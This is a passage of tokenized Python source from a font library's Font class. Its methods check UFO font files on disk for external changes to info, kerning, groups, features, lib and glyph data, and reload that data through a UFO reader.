"\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "path_", "=_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "path_", ",_", "\"", "glyph", "s", "\"_", ",_", "glyph", "Set_", "._", "contents_", "[_", "glyph", "Name_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "get", " ", "the", " ", "text_", "\\u\\u\\uNL\\u\\u\\u_", "f_", "=_", "open_", "(_", "path_", ",_", "\"", "rb", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "text_", "=_", "f_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "get", " ", "the", " ", "file", " ", "modification", " ", "time_", "\\u\\u\\uNL\\u\\u\\u_", "mod", "Time_", "=_", "os_", "._", "stat_", "(_", "path_", ")_", "._", "st", "\\u", "mtime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "store", " ", "the", " ", "data_", "\\u\\u\\uNL\\u\\u\\u_", "glyph_", "._", "\\u", "data", "On", "Disk_", "=_", "text_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "glyph_", "._", "\\u", "data", "On", "Disk", "Time", "Stamp_", "=_", "mod", "Time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "For", "Exter", "nal", "Changes_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", " ", "the", " ", "UF", "O", " ", "for", " ", "change", "s", " ", "tha", "t", " ", "occure", "d", " ", "outsi", "de", " ", "of", " ", "this", " ", "font", "'", "s", "\\", "10", ";", " ", " ", " ", " ", "tree", " ", "of", " ", "object", "s", ".", " ", "Thi", "s", " ", "return", "s", " ", "a", " ", "dictionar", "y", " ", "of", " ", "values", "\\", "10", ";", " ", " ", " ", " ", "indicati", "ng", " ", "if", " ", "the", " ", "object", "s", " ", "have", " ", "change", "s", " ", "on", " ", "disk", " ", "tha", "t", " ", "are", "\\", "10", ";", " ", " ", " ", " ", "not", " ", "load", "ed", ".", " ", "For", " ", "example", "::", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "info", "\"", " ", ":", " ", "Fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "kern", "ing", "\"", " ", ":", " ", "Tru", "e", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "group", "s", "\"", " ", ":", " ", "Tru", "e", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "features", "\"", " ", ":", " ", "Fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "lib", "\"", " ", ":", " ", "Fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "modifi", "ed", "Glyphs", "\"", " ", ":", " ", "[\"", "a", "\",", " ", "\"", "a", ".", "alt", "\"]", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "adde", "d", "Glyphs", "\"", " ", ":", " ", "[]", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "delete", "d", "Glyphs", "\"", " ", ":", " ", "[]", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "It", " ", "is", " ", "importa", "nt", " ", "to", " ", "keep", " ", "in", " ", "mind", " ", "tha", "t", " ", "the", " ", "user", " ", "coul", "d", " ", "have", " ", "created", "\\", "10", ";", " ", " ", " ", " ", "conflicting", " ", "data", " ", "outsi", "de", " ", "of", " ", "the", " ", "font", "'", "s", " ", "tree", " ", "of", " ", "object", "s", ".", " ", "For", " ", "example", ",", "\\", "10", ";", " ", " ", " ", " ", "say", " ", "the", " ", "user", " ", "has", " ", "set", " ", "``", "font", ".", "info", ".", "unit", "s", "Per", "Em", " ", "=", " ", "1000", "``", " ", "insi", "de", " ", "of", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "font", "'", "s", " ", ":", "class", ":`", "Info", "`", " ", "object", " ", "and", " ", "the", " ", "user", " ", "has", " ", "not", " ", "saved", " ", "this", " ", "change", ".", "\\", "10", ";", " ", " ", " ", " ", "In", " ", "the", " ", "the", " ", "font", "'", "s", " ", "font", "info", ".", "plist", " ", "file", ",", " ", "the", " ", "user", " ", "sets", " ", "the", " ", "unit", "s", "Per", "Em", " ", "value", "\\", "10", ";", " ", " ", " ", " ", "to", " ", "2000", ".", " ", "Whi", "ch", " ", "value", " ", "is", " ", "current", "?", " ", "Whi", "ch", " ", "value", " ", "is", " ", "right", "?", " ", "def", "con", " ", "lea", "ves", "\\", "10", ";", " ", " ", " ", " ", "this", " ", "decision", " ", "up", " ", "to", " ", "you", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "info", "Changed_", "=_", "self_", "._", "\\u", "test", "Info", "For", "Exter", "nal", "Modifica", "tions_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "kern", "ing", "Changed_", "=_", "self_", "._", "\\u", "test", "Kern", "ing", "For", "Exter", "nal", "Modifica", "tions_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "group", "s", "Changed_", "=_", "self_", "._", "\\u", "test", "Group", "s", "For", "Exter", "nal", "Modifica", "tions_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "features", "Changed_", "=_", "self_", "._", "\\u", "test", "Feature", "s", "For", "Exter", "nal", "Modifica", "tions_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lib", "Changed_", "=_", "self_", "._", "\\u", "test", "Lib", "For", "Exter", "nal", "Modifica", "tions_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "modifi", "ed", "Glyphs", "_", ",_", "adde", "d", "Glyphs", "_", ",_", "delete", "d", "Glyphs", "_", "=_", "self_", "._", "\\u", "test", "Glyphs", "For", "Exter", "nal", "Modifica", "tions_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "dict_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "info_", "=_", "info", "Changed_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "kern", "ing_", "=_", "kern", "ing", "Changed_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "groups_", "=_", "group", "s", "Changed_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "features_", "=_", "features", "Changed_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "lib_", "=_", "lib", "Changed_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "modifi", "ed", "Glyphs", "_", "=_", "modifi", "ed", "Glyphs", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "adde", "d", "Glyphs", "_", "=_", "adde", "d", "Glyphs", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "delete", "d", "Glyphs", "_", "=_", "delete", "d", "Glyphs", "_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "test", "Font", "Data", "For", "Exter", "nal", "Modifica", "tions_", "(_", "self_", ",_", "obj_", ",_", "file", "Name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "font", " ", "is", " ", "not", " ", "on", " ", "disk_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "\\u", "path_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "data", " ", "has", " ", "not", " ", "bee", "n", " ", "loaded_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "obj_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "path_", "=_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "\\u", "path_", ",_", "file", "Name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "file", " ", "is", " ", "not", " ", "in", " ", "UF", "O_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "os_", "._", "path_", "._", "exists_", "(_", "path_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "if", " ", "there", " ", "was", " ", "data", " ", "in", " ", "the", " ", "file", " ", "before_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "obj_", "._", "\\u", "data", "On", "Disk_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "mod", " ", "time", " ", "mismatch_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "mod", "Time_", "=_", "os_", "._", "stat_", "(_", "path_", ")_", "._", "st", "\\u", "mtime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "obj_", "._", "\\u", "data", "On", "Disk", "Time", "Stamp_", "!=_", "mod", "Time_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "=_", "open_", "(_", "path_", ",_", "\"", "rb", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "text_", "=_", "f_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "text", " ", "mismatch_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "text_", "!=_", "obj_", "._", "\\u", "data", "On", "Disk_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "test", "Info", "For", "Exter", "nal", "Modifica", "tions_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "\\u", "test", "Font", "Data", "For", "Exter", "nal", "Modifica", "tions_", "(_", "self_", "._", "\\u", "info_", ",_", "\"", "font", "info", ".", "plist", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "test", "Kern", "ing", "For", "Exter", "nal", "Modifica", "tions_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "\\u", "test", "Font", "Data", "For", "Exter", "nal", "Modifica", "tions_", "(_", "self_", "._", "\\u", "kern", "ing_", ",_", "\"", "kern", "ing", ".", "plist", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "test", "Group", "s", "For", "Exter", "nal", "Modifica", "tions_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "\\u", "test", "Font", "Data", "For", "Exter", "nal", "Modifica", "tions_", "(_", "self_", "._", "\\u", "groups_", ",_", "\"", "group", "s", ".", "plist", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "test", "Feature", "s", "For", "Exter", "nal", "Modifica", "tions_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "\\u", "test", "Font", "Data", "For", "Exter", "nal", "Modifica", "tions_", "(_", "self_", "._", "\\u", "features_", ",_", "\"", "features", ".", "fea", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "test", "Lib", "For", "Exter", "nal", "Modifica", "tions_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "\\u", "test", "Font", "Data", "For", "Exter", "nal", "Modifica", "tions_", "(_", "self_", "._", "\\u", "lib_", ",_", "\"", "lib", ".", "plist", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "test", "Glyphs", "For", "Exter", "nal", "Modifica", "tions_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "font", " ", "is", " ", "not", " ", "store", "d", " ", "on", " ", "disk_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "\\u", "glyph", "Set_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "[_", "]_", ",_", "[_", "]_", ",_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "glyph", "Set_", "=_", "self_", "._", "\\u", "glyph", "Set_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "glyph", "Set_", "._", "rebu", "ild", "Contents_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "glyph", "s", " ", "adde", "d", " ", "sinc", "e", " ", "we", " ", "start", "ed", " ", "up_", "\\u\\u\\uNL\\u\\u\\u_", "adde", "d", "Glyphs", "_", "=_", "list_", "(_", "set_", "(_", "self_", "._", "\\u", "glyph", "Set_", "._", "keys_", "(_", ")_", ")_", "-_", "self_", "._", "\\u", "keys_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "glyph", "s", " ", "delete", "d", " ", "sinc", "e", " ", "we", " ", "start", "ed", " ", "up_", "\\u\\u\\uNL\\u\\u\\u_", "delete", "d", "Glyphs", "_", "=_", "list_", "(_", "self_", "._", "\\u", "keys_", "-_", "set_", "(_", "self_", "._", "\\u", "glyph", "Set_", "._", "keys_", "(_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "glyph", "s", " ", "modifi", "ed", " ", "sinc", "e", " ", "loading_", "\\u\\u\\uNL\\u\\u\\u_", "modifi", "ed", "Glyphs", "_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "glyph", "Name_", ",_", "glyph_", "in_", "self_", "._", "\\u", "glyphs_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "delete", "d", " ", "glyph", ".", " ", "skip", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "glyph", "Name_", "not_", "in_", "glyph", "Set_", "._", "contents_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "path_", "=_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "path_", ",_", "\"", "glyph", "s", "\"_", ",_", "glyph", "Set_", "._", "contents_", "[_", "glyph", "Name_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mod", "Time_", "=_", "os_", "._", "stat_", "(_", "path_", ")_", "._", "st", "\\u", "mtime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "mod", " ", "time", " ", "mismatch_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "mod", "Time_", "!=_", "glyph_", "._", "\\u", "data", "On", "Disk", "Time", "Stamp_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "=_", "open_", "(_", "path_", ",_", "\"", "rb", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "text_", "=_", "f_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "data", " ", "mismatch_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "text_", "!=_", "glyph_", "._", "\\u", "data", "On", "Disk_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "modifi", "ed", "Glyphs", "_", "._", "append_", "(_", "glyph", "Name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "add", " ", "load", "ed", " ", "glyph", "s", " ", "to", " ", "the", " ", "keys_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "keys_", "=_", "self_", "._", "\\u", "keys_", "|_", "set_", "(_", "adde", "d", "Glyphs", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "modifi", "ed", "Glyphs", "_", ",_", "adde", "d", "Glyphs", "_", ",_", "delete", "d", "Glyphs", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "relo", "ad", "Info_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Relo", "ad", " ", "the", " ", "data", " ", "in", " ", "the", " ", ":", "class", ":`", "Info", "`", " ", "object", " ", "from", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "font", "info", ".", "plist", " ", "file", " ", "in", " ", "the", " ", "UF", "O", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "\\u", "info_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "obj_", "=_", "self_", "._", "info_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "r_", "=_", "ufo", "Lib_", "._", "UF", "OR", "eader", "_", "(_", "self_", "._", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "Info_", "=_", "Info_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "r_", "._", "read", "Info_", "(_", "new", "Info_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "old", "Info_", "=_", "self_", "._", "\\u", "info_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "attr_", "in_", "dir_", "(_", "new", "Info_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "attr_", "in_", "ufo", "Lib_", "._", "depre", "cated", "Font", "Info", "Attribute", "s", "Version", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "attr_", "._", "startswith_", "(_", "\"\\u\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "attr_", "==_", "\"", "dir", "ty", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "attr_", "==_", "\"", "dispatcher", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "hasattr_", "(_", "old", "Info_", ",_", "attr_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "new", "Value_", "=_", "getattr_", "(_", "new", "Info_", ",_", "attr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "old", "Value_", "=_", "getattr_", "(_", "old", "Info_", ",_", "attr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "new", "Value_", ",_", "\"", "im", "\\u", "func", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "old", "Value_", "==_", "new", "Value_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "setattr_", "(_", "old", "Info_", ",_", "attr_", ",_", "new", "Value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "stamp", "Info", "Data", "State_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "relo", "ad", "Kern", "ing_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Relo", "ad", " ", "the", " ", "data", " ", "in", " ", "the", " ", ":", "class", ":`", "Kern", "ing", "`", " ", "object", " ", "from", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "kern", "ing", ".", "plist", " ", "file", " ", "in", " ", "the", " ", "UF", "O", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "\\u", "kern", "ing_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "obj_", "=_", "self_", "._", "kern", "ing_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "r_", "=_", "ufo", "Lib_", "._", "UF", "OR", "eader", "_", "(_", "self_", "._", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "=_", "r_", "._", "read", "Kern", "ing_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "kern", "ing_", "._", "clear_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "kern", "ing_", "._", "update_", "(_", "d_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "stamp", "Kern", "ing", "Data", "State_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "relo", "ad", "Groups_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Relo", "ad", " ", "the", " ", "data", " ", "in", " ", "the", " ", ":", "class", ":`", "Group", "s", "`", " ", "object", " ", "from", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "group", "s", ".", "plist", " ", "file", " ", "in", " ", "the", " ", "UF", "O", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "\\u", "groups_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "obj_", "=_", "self_", "._", "groups_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "r_", "=_", "ufo", "Lib_", "._", "UF", "OR", "eader", "_", "(_", "self_", "._", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "=_", "r_", "._", "read", "Groups_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "groups_", "._", "clear_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "groups_", "._", "update_", "(_", "d_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "stamp", "Group", "s", "Data", "State_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "relo", "ad", "Features_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Relo", "ad", " ", "the", " ", "data", " ", "in", " ", "the", " ", ":", "class", ":`", "Feature", "s", "`", " ", "object", " ", "from", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "features", ".", "fea", " ", "file", " ", "in", " ", "the", " ", "UF", "O", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "\\u", "features_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "obj_", 